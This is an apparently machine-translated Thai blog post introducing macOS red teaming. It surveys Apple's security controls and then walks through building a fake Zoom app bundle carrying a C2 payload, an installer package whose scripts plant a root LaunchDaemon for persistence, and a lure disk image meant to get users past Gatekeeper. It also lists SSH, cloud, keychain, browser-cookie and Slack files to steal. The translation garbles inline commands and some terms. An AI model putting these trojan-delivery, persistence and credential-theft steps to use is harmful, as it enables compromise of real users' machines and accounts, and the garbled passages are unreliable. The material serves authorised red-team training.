Red Teaming macOS 101

Feb 28 2023
โพสต์นี้ครอบคลุมแนวคิดความปลอดภัยของ macOS ขั้นพื้นฐาน และหวังว่าจะเป็นคำแนะนำเบื้องต้นเกี่ยวกับสภาพแวดล้อม macOS ที่ใช้ทีมสีแดง หัวข้อที่ครอบคลุม ไม่มีสิ่งใดในโพสต์นี้เป็นการวิจัย "ใหม่" แต่แทนที่จะรวมข้อมูลเกี่ยวกับหัวข้อข้างต้น จากแหล่งข้อมูลด้านล่าง ในที่เดียวเพื่อให้อ่านและแนะนำได้ง่ายขึ้น

โพสต์นี้ครอบคลุมแนวคิดความปลอดภัยของ macOS ขั้นพื้นฐาน และหวังว่าจะเป็นคำแนะนำเบื้องต้นเกี่ยวกับสภาพแวดล้อม macOS ที่ใช้ทีมสีแดง

หัวข้อที่ครอบคลุม

  • ภาพรวมความปลอดภัยของ macOS
    - Gatekeeper & XProtect
    - รันไทม์ที่เข้มงวด
    - การปกป้องความสมบูรณ์ของระบบ (SIP)
    - ความโปร่งใส ความยินยอม และการควบคุม (TCC)
    - macOS Sandbox
    - พวงกุญแจ
  • เพย์โหลดการเข้าถึงเริ่มต้นและการคงอยู่
    - ชุดแอปพลิเคชัน
    - แพ็คเกจตัวติดตั้ง
    - ดิสก์อิมเมจ (DMG)
  • การเพิ่มสิทธิ์และการเอารัดเอาเปรียบภายหลัง
    - การรับรู้สถานการณ์
    - การขโมยคุกกี้
    - การตรวจสอบคลิปบอร์ด
    - การแทรกโค้ด
    - การโหลด Mach-O ในหน่วยความจำ

ไม่มีสิ่งใดในโพสต์นี้ที่เป็นการวิจัย "ใหม่" แต่เป็นการรวมข้อมูลเกี่ยวกับหัวข้อข้างต้นจากแหล่งข้อมูลด้านล่างไว้ในที่เดียวเพื่อให้อ่านและแนะนำได้ง่ายขึ้น

  • บล็อก
    - Patrick Wardle/Objective See
    - Adam Chester
    - Justin Bui
    - Csaba Fitzl
    - Wojciech Reguła
    - Cedric Owens
    - Chris Ross
    - Leo Pitt
  • วิดีโอ
    - DEFCON 29 ของ Cedric Owens: Red Teaming macOS
    - OBTS ของ Cody Thomas: Red Teaming macOS
    - x33fcon ของ Wojciech Reguła: Red Teaming macOS
    - OBTS ของ Cody Thomas: ล็อคการเลือกพวงกุญแจ macOS
  • หนังสือ/หลักสูตร
    - The Art of Mac Malware ของ Patrick Wardle
    - OSMR. ของ Offensive Security
  • ข้อมูลอ้างอิงแบบครบวงจร
    - Awesome-macOS-Red-Teaming

ผู้เฝ้าประตู & XProtect

Gatekeeper เป็นกลไกการรักษาความปลอดภัยที่ออกแบบมาเพื่ออนุญาตให้แอปพลิเคชันที่เชื่อถือได้ทำงานบนระบบเท่านั้น ซึ่งคล้ายกับ SmartScreen และ MOTW บน Windows เมื่อดาวน์โหลดไฟล์เรียกทำงานจากอินเทอร์เน็ต ไฟล์เหล่านั้นจะถูกทำเครื่องหมายด้วยcom.apple.quarantineแอตทริบิวต์ ซึ่งจะเรียกใช้เกตคีปเปอร์เมื่อไฟล์ถูกเรียกใช้

หากไฟล์ปฏิบัติการได้รับการรับรอง Gatekeeper จะตรวจสอบลายเซ็นรหัสของไฟล์และแสดงข้อความแจ้งแก่ผู้ใช้เพื่อยืนยันว่าพวกเขาต้องการเรียกใช้ไฟล์

ดับเบิลคลิกแอปที่ได้รับการรับรอง

หากไฟล์ปฏิบัติการไม่ได้รับการรับรอง Gatekeeper จะแสดงข้อความแจ้งให้ผู้ใช้ทราบว่าไฟล์นั้นไม่สามารถเรียกใช้ได้เนื่องจากไฟล์นั้นไม่ได้ลงนาม ในการเรียกใช้ไฟล์ปฏิบัติการที่ไม่ได้ลงนาม ผู้ใช้ต้องคลิกขวาที่ไฟล์ จากนั้นคลิกเปิด แทนการดับเบิลคลิก

คลิกสองครั้งที่ไฟล์ที่ไม่ได้ลงนาม
คลิกขวาเพื่อเปิดไฟล์ที่ไม่ได้ลงนาม

หลังจากตรวจสอบลายเซ็นรหัสแล้ว XProtect ซึ่งเป็นโปรแกรมป้องกันไวรัสในตัวของ macOS จะสแกนไฟล์เพื่อหามัลแวร์ XProtect ใช้กฎ YARA ซึ่งสามารถพบได้ผ่านlocate XProtect.yaraและส่วนใหญ่ไร้ประโยชน์ เว้นแต่ว่าคุณกำลังเรียกใช้เพย์โหลด Metasploit เริ่มต้น นอกจากนี้ XProtect จะสแกนหามัลแวร์ภายใต้เงื่อนไขสามประการเท่านั้น

  • กำลังเรียกใช้ไฟล์เป็นครั้งแรก
  • แฮชของไฟล์มีการเปลี่ยนแปลง
  • กฎ YARA ของ XProtect ได้รับการอัปเดตแล้ว

รันไทม์ที่แข็งขึ้น

รันไทม์แบบแข็งเป็นคุณสมบัติที่สามารถเปิดใช้งานบนแอพเพื่อป้องกันการแทรกโค้ดผ่านการไฮแจ็ก dylib ตัวแปรสภาพแวดล้อม และการแทรกพอร์ตงาน ตัวอย่างหนึ่งของวิธีที่รันไทม์แบบแข็งป้องกันการฉีดคือการกำหนดให้ dylib ใดๆ ที่โหลดเข้าสู่กระบวนการต้องลงนามด้วยใบรับรองเดียวกันกับตัวแอป แน่นอนว่าสิ่งนี้ทำให้เกิดปัญหาเมื่อแอปพลิเคชันจำเป็นต้องโหลด dylibs ของบุคคลที่สาม ดังนั้น แอพสามารถมีสิทธิ์บางอย่างเพื่อลบข้อจำกัดบางอย่างเหล่านี้

เราสามารถแสดงรายการสิทธิ์ของแอพผ่านcodesign -d --entitlements :- <file>หรือlist_entitlementsคำสั่งใน Poseidon และหากมีรายการด้านล่าง เราอาจใส่เข้าไปในแอพได้:

  • การcom.apple.security.cs.disable-library-validationให้สิทธิ์อนุญาตให้โหลด dylib ที่ลงนามหรือไม่ได้ลงนามใดๆ เข้าสู่กระบวนการ ขึ้นอยู่กับตำแหน่งของ dylibs ที่แอพโหลด สิ่งนี้อาจเปิดประตูสำหรับการจี้ dylib
  • การcom.apple.security.cs.allow-dyld-environment-variablesให้สิทธิ์อนุญาตให้โหลด dylibs จากDYLD_INSERT_LIBRARIESตัวแปรสภาพแวดล้อม อย่างไรก็ตาม การให้สิทธิ์นี้เพียงอย่างเดียวไม่ได้ลบข้อกำหนดการลงนามโค้ดที่กล่าวถึงก่อนหน้านี้ หากมีการให้สิทธิ์นี้พร้อมกับการปิดใช้งานไลบรารีการตรวจสอบสิทธิ์ คุณสามารถแทรกเข้าไปในแอปได้ด้วยDYLD_INSERT_LIBRARIES=malicious.dylib ./appวิธีเดียวกันกับLD_PRELOADบน Linux
  • การcom.apple.security.get-task-allowให้สิทธิ์อนุญาตให้แอปอื่นๆ รับพอร์ตงานของแอปของคุณ ซึ่งคล้ายกับการรับหมายเลขอ้างอิงไปยังกระบวนการบน Windows ควรสังเกตว่าในการเข้าถึงพอร์ตงาน โค้ดของคุณจะต้องรันในฐานะรูท ด้วยพอร์ตงาน คุณสามารถทำการแทรกกระบวนการแบบคลาสสิกผ่านการเขียนเชลล์โค้ดและสร้างเธรด
  • รายชื่อสิทธิ์ของ Obsidian

การป้องกันความสมบูรณ์ของระบบ (SIP)

SIP หรือที่เรียกว่า “รูทเลส” ปกป้องไฟล์ระบบจากการดัดแปลง โดยพื้นฐานแล้วแม้ในฐานะผู้ใช้รูท เราก็ไม่สามารถแก้ไขไฟล์ระบบบางไฟล์ได้ เช่น ไฟล์เรียกทำงานภายในไฟล์/bin/. ไฟล์ที่ป้องกันโดย SIP สามารถระบุได้ผ่านrestrictedแฟล็ก

SIP สามารถปิดใช้งานได้ผ่านcsrutil disableอย่างไรก็ตาม จำเป็นต้องรีสตาร์ทอุปกรณ์ในโหมดการกู้คืน ดังนั้น นี่จึงไม่ใช่คำถามสำหรับมุมมองของทีมสีแดง

ความโปร่งใส ความยินยอม และการควบคุม (TCC)

TCC เป็นคุณลักษณะความเป็นส่วนตัวของ macOS ที่ใช้ในเวอร์ชัน 10.14+ ซึ่งแจ้งให้ผู้ใช้ให้สิทธิ์อย่างชัดแจ้งเมื่อแอปพลิเคชันพยายามเข้าถึงทรัพยากรบางอย่าง เช่น กล้อง และบางโฟลเดอร์รวมถึง , , DesktopและDownloadsไดDocumentsรฟ์/วอลุ่ม

ทีซีซีแจ้ง

การพยายามเข้าถึงทรัพยากรที่ได้รับการปกป้องโดย TCC โดยไม่ได้รับอนุญาตอาจนำไปสู่การสร้างการแจ้งเตือนโดยไม่ได้ตั้งใจ แจ้งเตือนผู้ใช้ถึงการแสดงตนของคุณ และท้ายที่สุด การมีส่วนร่วมของคุณสิ้นสุดลงเร็วกว่าที่คาดไว้ ด้านล่างนี้เป็นไฟล์ที่มีประโยชน์ซึ่งไม่ได้รับการปกป้องโดย TCC:

  • ไฟล์และโฟลเดอร์ที่ซ่อนอยู่ในโฮมไดเร็กตอรี่ — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
  • ข้อมูลแอปพลิเคชันของผู้ใช้ —~/Library/Application Support/*
  • ไฟล์คุกกี้ — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

ฐานข้อมูล TCC ของผู้ใช้ต้องการการเข้าถึงดิสก์แบบเต็ม (FDA) เพื่อโต้ตอบ อย่างไรก็ตาม หากเราสามารถโต้ตอบกับฐานข้อมูลได้ เราก็สามารถแก้ไขเพื่อให้สิทธิ์เข้าถึงทรัพยากรอื่นๆ แก่ตนเองได้ เราสามารถตรวจสอบได้ว่าเรามี อย. โดยไม่ต้องแจ้งผู้ใช้หรือไม่โดยเรียกใช้fileกับฐานข้อมูล TCC ของผู้ใช้

ด้วยอย
โดยไม่มีอย

ทางเบี่ยง TCC นั้นไม่ได้ "หายาก" เป็นพิเศษ และฉันขอแนะนำให้ตรวจสอบบล็อกของ Csaba Fitzlเพื่อรับข่าวสารล่าสุดเกี่ยวกับทางเบี่ยงเก่าและใหม่

แมคโอเอสแซนด์บ็อกซ์

แซนด์บ็อกซ์ macOS เป็นคุณสมบัติที่นักพัฒนาสามารถเลือกใช้แอพของตนได้หากเผยแพร่นอก App Store และจำเป็นสำหรับแอพทั้งหมดที่ดาวน์โหลดโดยตรงจาก App Store แอปที่เลือกใช้คุณลักษณะแซนด์บ็อกซ์จะมีcom.apple.security.app-sandboxสิทธิ์ และจะบังคับให้แอปทำงานในแซนด์บ็อกซ์ตามชื่อที่ระบุ แอปที่ทำงานในแซนด์บ็อกซ์มีข้อจำกัดในการเข้าถึงระบบอย่างมาก เช่น ความสามารถในการอ่านหรือเขียนไฟล์ลงในดิสก์ ด้วยเหตุนี้ เส้นทางการโจมตีบางอย่างบน macOS เช่น ฟิชชิงผ่านมาโครจึงไม่ล่อลวง เนื่องจากแอป Microsoft Office เลือกใช้แซนด์บ็อกซ์และจะป้องกันไม่ให้คุณคงอยู่และขโมยของ

พวงกุญแจ

พวงกุญแจสามารถเปรียบเทียบได้กับ LSASS บน Windows และเก็บความลับ เช่น รหัสผ่านและกุญแจสำหรับแอป ตัวอย่างเช่น แอปพลิเคชันอาจเข้ารหัสไฟล์ที่เก็บไว้บนดิสก์ และคีย์ถอดรหัสสำหรับไฟล์เหล่านี้จะถูกเก็บไว้ภายในพวงกุญแจ พวงกุญแจของระบบสามารถพบได้ที่/Library/Keychains/System.keychainและพวงกุญแจของผู้ใช้สามารถพบได้~/Library/Keychains/login.keychain-dbที่

คุณสามารถดาวน์โหลดพวงกุญแจของผู้ใช้ได้ แม้ว่าความลับภายในจะถูกเข้ารหัสด้วยรหัสผ่านของผู้ใช้ ขึ้นอยู่กับว่าคุณมีรหัสผ่านของผู้ใช้หรือไม่ คุณสามารถใช้ประโยชน์จากChainbreakerเพื่อดึงข้อมูลลับหรือดัมพ์แฮชของรหัสผ่านพวงกุญแจผ่าน--dump-keychain-password-hashไปยังรูปแบบสำหรับแฮชแคทซึ่งถอดรหัสได้ช้ามาก

สุดท้าย แต่ละรายการภายในพวงกุญแจมี ACL ที่เกี่ยวข้องและการอนุญาตซึ่งสามารถดูได้ภายในแอป Keychain Access แอปพลิเคชันที่เชื่อถือได้คือแอปพลิเคชันที่สามารถดำเนินการกับรายการพวงกุญแจโดยไม่ต้องแจ้งให้ผู้ใช้ทราบ รายการนี้อยู่ในแท็บ "Access Control" และกรณีที่น่าสนใจคือรายการเป็น "NULL" ซึ่งหมายความว่าแอปทั้งหมดเชื่อถือได้ ไม่ต้องสับสนกับรายการว่าง ซึ่งหมายความว่าไม่มีแอปใดที่เชื่อถือได้

หากคุณกำลังทำงานในบริบทของแอปที่เชื่อถือได้หรือรายการเป็น NULL และคุณมีสิทธิ์ใดๆ ด้านล่าง คุณอาจสามารถแยกความลับได้โดยไม่ต้องแจ้งให้ผู้ใช้ทราบ:

  • ACLAuthorizationDecrypt
  • ACLAauthorizationExportClear
  • ACLAuthorizationExportWrapped
  • ACLAauthorizationใดๆ

เพย์โหลดการเข้าถึงเริ่มต้นและความคงอยู่

หากคุณสนใจที่จะเรียนรู้เกี่ยวกับประเภทเพย์โหลดสำหรับ macOS ทางเลือกนอกเหนือจากที่ระบุ ไว้ด้านล่าง เราขอแนะนำให้ตรวจสอบ โครงการ Mystikalและบล็อกโพสต์ ที่เกี่ยวข้อง

นอกจากนี้ ควรสังเกตว่าผลิตภัณฑ์ EDR บน macOS ยังไม่บรรลุนิติภาวะและทำงานเป็นเพียงผลิตภัณฑ์บันทึกข้อมูลเท่านั้น ดังนั้น โดยทั่วไป คุณสามารถใช้เอเจนต์ C2 เริ่มต้นใดๆ นอกเหนือจาก Metasploit และไม่ต้องกังวลว่า EDR จะตรวจจับเพย์โหลดของคุณ

ชุดแอปพลิเคชัน

Application Bundles (.app) เป็นหนึ่งในประเภทโปรแกรมที่พบได้บ่อยที่สุด และเป็นรูปแบบที่ซอฟต์แวร์ผู้ใช้ปลายทางเกือบทั้งหมดเปิดตัวในรูปแบบ App Bundle จะถูกเก็บไว้ภายใน/Applications/และแสดงให้คุณเห็นเมื่อคุณคลิกเข้าไปใน Launchpad จากการอ้างอิง เอกสารประกอบของ Apple โดยทั่วไปแล้ว App Bundle ขั้นต่ำจะมีโครงสร้างดังต่อไปนี้:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - สร้างโครงสร้างโฟลเดอร์ App Bundle

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

ต่อไป เนื่องจากตอนนี้ทั้ง Intel และ Silicon macs เป็นเรื่องธรรมดา เราจึงสามารถสร้างเพย์โหลดทั้ง AMD และ ARM Poseidon แล้วรวมเข้าด้วยกันเป็น Mach-O สากล ซึ่งสามารถทำงานบนสถาปัตยกรรมใดสถาปัตยกรรมหนึ่งได้ จากนั้นวางลงlipo -create <arm-payload> <amd-payload> -output <universal-payload>ในMacOSไดเร็กทอรี

สร้างน้ำหนักบรรทุกโพไซดอนที่เป็นสากล

3 - สร้างInfo.plistไฟล์

อ้างถึงเอกสารสำหรับนักพัฒนาซอฟต์แวร์ ของ Apple เราจะต้องระบุคีย์สองสามรายการ:

  • CFBundleExecutable — ชื่อของไฟล์เรียกทำงานหลักภายในไดเร็กทอรี MacOS (PoseidonPayload)
  • CFBundleIconFile — ชื่อของอิมเมจแอปพลิเคชัน (ZoomImageForPayload)
  • CFBundleIdentifier — สตริงที่ไม่ซ้ำใครระบุแอปพลิเคชันของคุณบนระบบ (com.examplepayload.Zoom)
  • CFBundleName — ชื่อแอปของคุณ (FakeZoom)
  • CFBundleVersion — หมายเลขเวอร์ชันบิลด์ของแอปของคุณ (1.0.0)
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
     <key>CFBundleExecutable</key>
     <string>PoseidonPayload</string>
     <key>CFBundleIconFile</key>
     <string>ZoomImageForPayload</string>
     <key>CFBundleIdentifier</key>
     <string>com.examplepayload.Zoom</string>
     <key>CFBundleName</key>
     <string>FakeZoom</string>
     <key>CFBundleVersion</key>
     <string>1.0.0</string>
    </dict>
    </plist>
    

เนื่องจากเรากำลังสร้างแอป Zoom ปลอม เราจึงสามารถคัดลอกไฟล์ icns ของ Zoom ออกจากไดเร็กทอรี/Applications/(หากติดตั้งไว้) และไปที่Resources/ZoomImageForPayloadอย่างไรก็ตาม คุณสามารถใช้ไอคอนใดก็ได้ที่คุณต้องการ

โครงสร้างโฟลเดอร์แอพ

แพ็คเกจตัวติดตั้ง

แพ็คเกจตัวติดตั้ง (.pkg) เป็นไฟล์เก็บถาวร xar และโปรแกรมทั่วไปอีกประเภทหนึ่งที่เห็นได้เมื่อจำเป็นต้องติดตั้งซอฟต์แวร์ด้วยสิทธิ์ระดับรูท ในขณะที่แพ็คเกจโปรแกรมติดตั้งสามารถมีเพย์โหลดหลักที่จะเรียกใช้เมื่อเปิด ทางเลือกอื่นคือการใช้ประโยชน์จากสคริปต์ "ติดตั้งล่วงหน้า" และ "หลังการติดตั้ง" ซึ่งชื่อนี้สื่อถึงว่าจะเรียกใช้สคริปต์ก่อนและหลังการติดตั้ง

สำหรับตัวอย่างนี้ เราจะสร้างแพ็คเกจตัวติดตั้งซึ่งใช้สคริปต์เหล่านี้เพื่อลงทะเบียน LaunchDaemon เพื่อคงอยู่ในฐานะผู้ใช้รูทเมื่อเปิด

1 - สร้างโครงสร้างโฟลเดอร์แพ็คเกจโปรแกรมติดตั้ง

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - สร้างไฟล์ plist เพื่อลงทะเบียนเป็น LaunchDaemon

มีเพียงค่าเดียวเท่านั้นที่จำเป็นในไฟล์ plist นี้ ซึ่งProgramArgumentsระบุโดยพื้นฐานแล้วว่าจะรันอะไรเมื่อ LaunchDaemon ถูกทริกเกอร์

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - สร้างสคริปต์ก่อนและหลังการติดตั้ง

สคริปต์เหล่านี้เป็นเพียงสคริปต์ทุบตีธรรมดา อย่างไรก็ตาม ต้องขึ้นต้นด้วย#!/bin/bashและลงท้ายexit 0ด้วย เราจะใช้สคริปต์การติดตั้งล่วงหน้าเพื่อคัดลอก plist และเพย์โหลดของเราไปยังตำแหน่งที่ถูกต้องบนดิสก์ จากนั้นใช้สคริปต์หลังการติดตั้งเพื่อลงทะเบียน LaunchDaemon

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

ในการสร้างแพ็คเกจตัวติดตั้งจากสคริปต์เหล่านี้ เราสามารถเรียกใช้ได้pkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

เราสามารถยกเลิกการโหลด LaunchDaemon ได้โดยการเรียกใช้launchctl unload com.examplepayload.persistence.plistและควรสังเกตว่าการทิ้งเพย์โหลดเป็นการ/Library/Application Support/ตั้งค่าเพียงอย่างเดียว และสามารถทิ้งที่อื่นได้

LaunchDaemons แสดงถึงการคงอยู่เพียง รูปแบบเดียวบน macOS และหากคุณสนใจรูปแบบอื่น ฉันขอแนะนำให้ตรวจสอบบล็อกของ SentinelOne

ภาพดิสก์ (DMG)

DMG คือไดรฟ์ข้อมูลที่ถูกบีบอัดซึ่งอาจมีรูปแบบเพย์โหลดอื่นๆ ประโยชน์ของการส่งเพย์โหลดของคุณภายในไฟล์ DMG คือคุณสามารถเพิ่มองค์ประกอบกราฟิกเพื่อช่วยในวิศวกรรมสังคมโดยให้ผู้ใช้คลิกขวา จากนั้นเปิดเพย์โหลดของคุณเพื่อเลี่ยงผ่าน Gatekeeper เนื่องจาก DMG เองไม่ได้เรียกใช้ Gatekeeper

ในการสร้าง DMG ที่ดูสมจริง เราจะต้องสร้างภาพพื้นหลังแบบกำหนดเอง ฉันชอบที่จะใช้ซอฟต์แวร์หรือวอลเปเปอร์ของบริษัทที่ถูกกฎหมายควบคู่กับdraw.ioแต่คุณสามารถสร้างรูปภาพของคุณเองได้ตามต้องการ

สำหรับการสาธิตนี้ ฉันใช้รูปภาพนี้เป็นฐาน และสร้างสิ่งนี้:

ในการเริ่มต้น เราสามารถสร้างดิสก์อิมเมจได้โดยเปิดDisk Utilityและเลือก “ไฟล์” จากนั้นเลือก “รูปภาพใหม่” จากนั้นเลือก “รูปภาพเปล่า…”

เราสามารถเลือกชื่อโวลุ่มของเรา จากนั้นเปลี่ยน “รูปแบบ” เป็น “Mac OS Extended (Journaled)”

เปิดไฟล์ .dmg ซึ่งก็คือ “example-payload.dmg” ในกรณีของฉัน และไดรฟ์ข้อมูลจะปรากฏบนเดสก์ท็อปของคุณ จากนั้นเปิดไดรฟ์ข้อมูล ซึ่งก็คือ “ตัวอย่าง” ในกรณีของฉัน หากต้องการแสดงไฟล์ที่ซ่อนอยู่ใน macOS คุณสามารถคลิก “[shift] + [command] + [period]”

ย้ายภาพพื้นหลังของคุณไปยังวอลุ่ม/Volumes/<volume-name>/เป็นไฟล์ที่ซ่อนอยู่พร้อมกับเพย์โหลดของคุณ สำหรับตัวอย่างนี้ เราสามารถใช้ App Bundle ซ้ำได้จากส่วนด้านบน

ต่อไป เราสามารถคลิกเข้าไปในโวลุ่มแล้วเลือก “ดู” ตามด้วย “แสดงตัวเลือกมุมมอง”

ภายใต้ "พื้นหลัง" เลือก "รูปภาพ" จากนั้นคลิกสองครั้งที่ช่อง "ลากรูปภาพมาที่นี่" หน้าต่าง Finder ใหม่จะเปิดขึ้นและคุณสามารถเลือกภาพพื้นหลังจากภายในวอลุ่มได้ หากคุณไม่เลือกภาพที่อยู่ในไดรฟ์ข้อมูล อาจทำให้เกิดข้อผิดพลาดได้ นอกจากนี้ เราสามารถปรับขนาดไอคอนผ่าน “ขนาดไอคอน”

ปรับขนาดหน้าต่างให้พอดีกับพื้นหลังของคุณ และจัด App Bundle ให้อยู่ตรงกลาง

เมื่อคุณพอใจกับเลย์เอาต์แล้ว และในขณะที่หน้าต่าง Finder ยังเปิดอยู่ ให้คลิกขวาที่โวลุ่มบนเดสก์ท็อป แล้วคลิก “Eject”

เปิดใหม่Disk Utilityแล้วเลือก “รูปภาพ” จากนั้นเลือก “แปลง…”

เลือกไฟล์ DMG ของคุณ จากนั้นเลือก “การเข้ารหัส: ไม่มี” และ “รูปแบบภาพ: บีบอัด”

แน่นอนว่าการสาธิตนี้ไม่สมเหตุสมผลมากนักเนื่องจากเป็นพื้นหลังของ Chrome พร้อมด้วยแอปพลิเคชัน Zoom (lol) อย่างไรก็ตาม หวังว่าคุณจะเข้าใจประเด็น

สิ่งสุดท้ายที่ต้องคำนึงถึงเกี่ยวกับเพย์โหลดคือไฟล์ที่ดาวน์โหลดผ่านเบราว์เซอร์ของคุณจะเพิ่มแอตทริบิวต์ต่อท้ายcom.apple.metadata:kMDItemWhereFromsซึ่งจะแสดงรายการไฟล์ที่ดาวน์โหลดมา หากคุณกำลังดาวน์โหลดเพย์โหลด Poseidon โดยตรงจาก Mythic ในเบราว์เซอร์ของคุณก่อนที่จะทำการบรรจุ ข้อมูลนี้อาจนำไปสู่การเปิดเผยตำแหน่งของเซิร์ฟเวอร์ทีมของคุณโดยไม่ได้ตั้งใจ คุณสามารถลบแอตทริบิวต์นี้ได้xattr -d com.apple.metadata:kMDItemWhereFroms <file>ผ่าน

การเพิ่มสิทธิพิเศษ & โพสต์การเอารัดเอาเปรียบ

ส่วนนี้ไม่ได้ครอบคลุมกิจกรรมทั้งหมดที่คุณสามารถทำได้หลังจากได้รับเชลล์ และมีวัตถุประสงค์เพื่อให้แนวคิดทั่วไปเกี่ยวกับ post-ex บน macOS เท่านั้น

การรับรู้สถานการณ์

คุณสามารถเริ่มต้นด้วยการตรวจสอบการรับรู้สถานการณ์บางอย่างบนระบบ โดยเรียกใช้HealthInspectorหรือSwiftBeltหรือเรียกดูไฟล์กำหนดค่าด้วยตนเอง ไฟล์เหล่านี้จำนวนมากจะเป็นไฟล์ plist ในรูปแบบไบนารี และเพื่อให้อ่านได้ คุณสามารถใช้plutil. ไฟล์บางไฟล์ที่น่าสนใจอาจเป็น:

  • ผู้ใช้มีแอปใดบ้างใน Dock —plutil -p ~/Library/Preferences/com.apple.dock.plist
  • ไฟล์ใดที่ผู้ใช้โต้ตอบด้วยเมื่อเร็วๆ นี้ —plutil -p ~/Library/Preferences/com.apple.finder.plist
  • macOS เวอร์ชันใดที่คุณใช้อยู่ —plutil -p /System/Library/CoreServices/SystemVersion.plist

จากนั้น คุณสามารถเริ่มดาวน์โหลดไฟล์บางไฟล์ที่ไม่ได้รับการปกป้องโดย TCC จากดิสก์ รวมถึงประวัติ bash หรือ zsh ของผู้ใช้ คีย์ ssh คีย์คลาวด์ (AWS, GCP ฯลฯ) พวงกุญแจ และคุกกี้

เนื่องจากคุณใช้ macOS จึงเป็นไปได้ว่าองค์กรสำหรับการมีส่วนร่วมของคุณอาจเป็นบริษัทเทคโนโลยีหรือสตาร์ทอัพ และ Slack เป็นเรื่องปกติที่จะเห็นในสภาพแวดล้อมเหล่านี้ ถ้าเป็นเช่นนั้น คุณสามารถดาวน์โหลดไฟล์ต่อไปนี้:

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

ต่อไป คุณสามารถกำหนดเป้าหมายคุกกี้ของเบราว์เซอร์ สำหรับตัวอย่างนี้ เราจะใช้ Google Chrome หากคุณมีรหัสผ่านของผู้ใช้ทั้งจากการค้นหารหัสผ่านในประวัติ bash หรือ zsh หรืออาจเรียกใช้ตัวแสดงรหัส ผ่าน คุณสามารถดาวน์โหลด~/Library/Application Support/Google/Chrome/Default/Cookiesและถอดรหัสไฟล์แบบออฟไลน์ได้ อีกทางหนึ่ง หากคุณไม่มีรหัสผ่านของผู้ใช้ คุณสามารถใช้เครื่องมือต่างๆ เช่นWhiteChocolateMacademiaNutเพื่อเริ่ม Chrome โดยเปิดใช้งานการดีบักระยะไกล จากนั้นดัมพ์คุกกี้ผ่านเว็บซ็อกเก็ต อีกครั้ง เนื่องจาก mac EDR ยังไม่สมบูรณ์ การทิ้งเครื่องมือที่อ่านไม่ออกลงในดิสก์จึงไม่น่ากังวลมากนัก

ด้วยการเข้าถึงคุกกี้ของเบราว์เซอร์ คุณจะสามารถเปิด SOCKS ผ่านคำสั่งในตัวของ Poseidon หรือสิ่ว สกัด และเรียกดูไซต์ภายในได้ โดยเฉพาะอย่างยิ่ง คุณอาจต้องการกำหนดเป้าหมายไซต์เอกสารภายใน เช่น การบรรจบกันและที่เก็บรหัสภายในสำหรับการค้นหาข้อมูลประจำตัวที่มีสิทธิพิเศษ

การตรวจสอบคลิปบอร์ด

บน macOS ทุกครั้งที่เนื้อหาคลิปบอร์ดมีการเปลี่ยนแปลง ตัวนับจะเพิ่มขึ้น ดังนั้นเราสามารถตรวจสอบค่าของตัวนับในช่วงเวลาหนึ่งและดึงเนื้อหาของคลิปบอร์ดหากมีการเปลี่ยนแปลง โพไซดอนมีคำสั่งในตัวclipboard_monitorซึ่งเราสามารถใช้ประโยชน์จากสิ่งนี้ได้

สิ่งที่ควรทราบเพิ่มเติม:

  • คำclipboard_monitorสั่งจะกรองเพื่อดึงเฉพาะข้อความธรรมดา ดังนั้นหากผู้ใช้คัดลอกไบนารีขนาดใหญ่ไปยังคลิปบอร์ด เราไม่ต้องกังวลเกี่ยวกับการส่งทราฟฟิกจำนวนมากผ่าน C2 ของเรา
  • ผู้ใช้รูทไม่มีสิทธิ์เข้าถึงคลิปบอร์ด ดังนั้นเครื่องมือตรวจสอบคลิปบอร์ดจึงต้องรันในบริบทของผู้ใช้

ดังที่ได้กล่าวไว้ก่อนหน้านี้ในหัวข้อ harden runtime ความสามารถในการแทรกโค้ดลงในแอปพลิเคชันนั้นมีประโยชน์จากมุมมองของทีมสีแดง เนื่องจากอาจให้สิทธิ์เพิ่มเติมแก่คุณและการเข้าถึงทรัพยากรที่คุณไม่มีก่อนหน้านี้

ตัวอย่างเช่น เพย์โหลดเริ่มต้นของคุณอาจไม่สามารถเข้าถึงโฟลเดอร์ Downloads ได้ อย่างไรก็ตาม หากคุณสามารถแทรกโค้ดลงใน Chrome ซึ่งอาจมีสิทธิ์ดังcom.apple.security.files.downloads.read-writeกล่าว คุณจะสามารถเรียกดูโฟลเดอร์ Downloads ได้

หากต้องการค้นหาเป้าหมายสำหรับการแทรกโค้ด คุณสามารถเรียกใช้คำสั่งของ Poseidon list_entitlementsซึ่งจะค้นหากระบวนการที่กำลังทำงานอยู่ด้วยการให้สิทธิ์ที่กล่าวถึงในส่วนรันไทม์ที่เสริมประสิทธิภาพ

จากที่นี่ คุณสามารถตรวจสอบแต่ละกระบวนการเพื่อค้นหาเป้าหมายที่เป็นไปได้

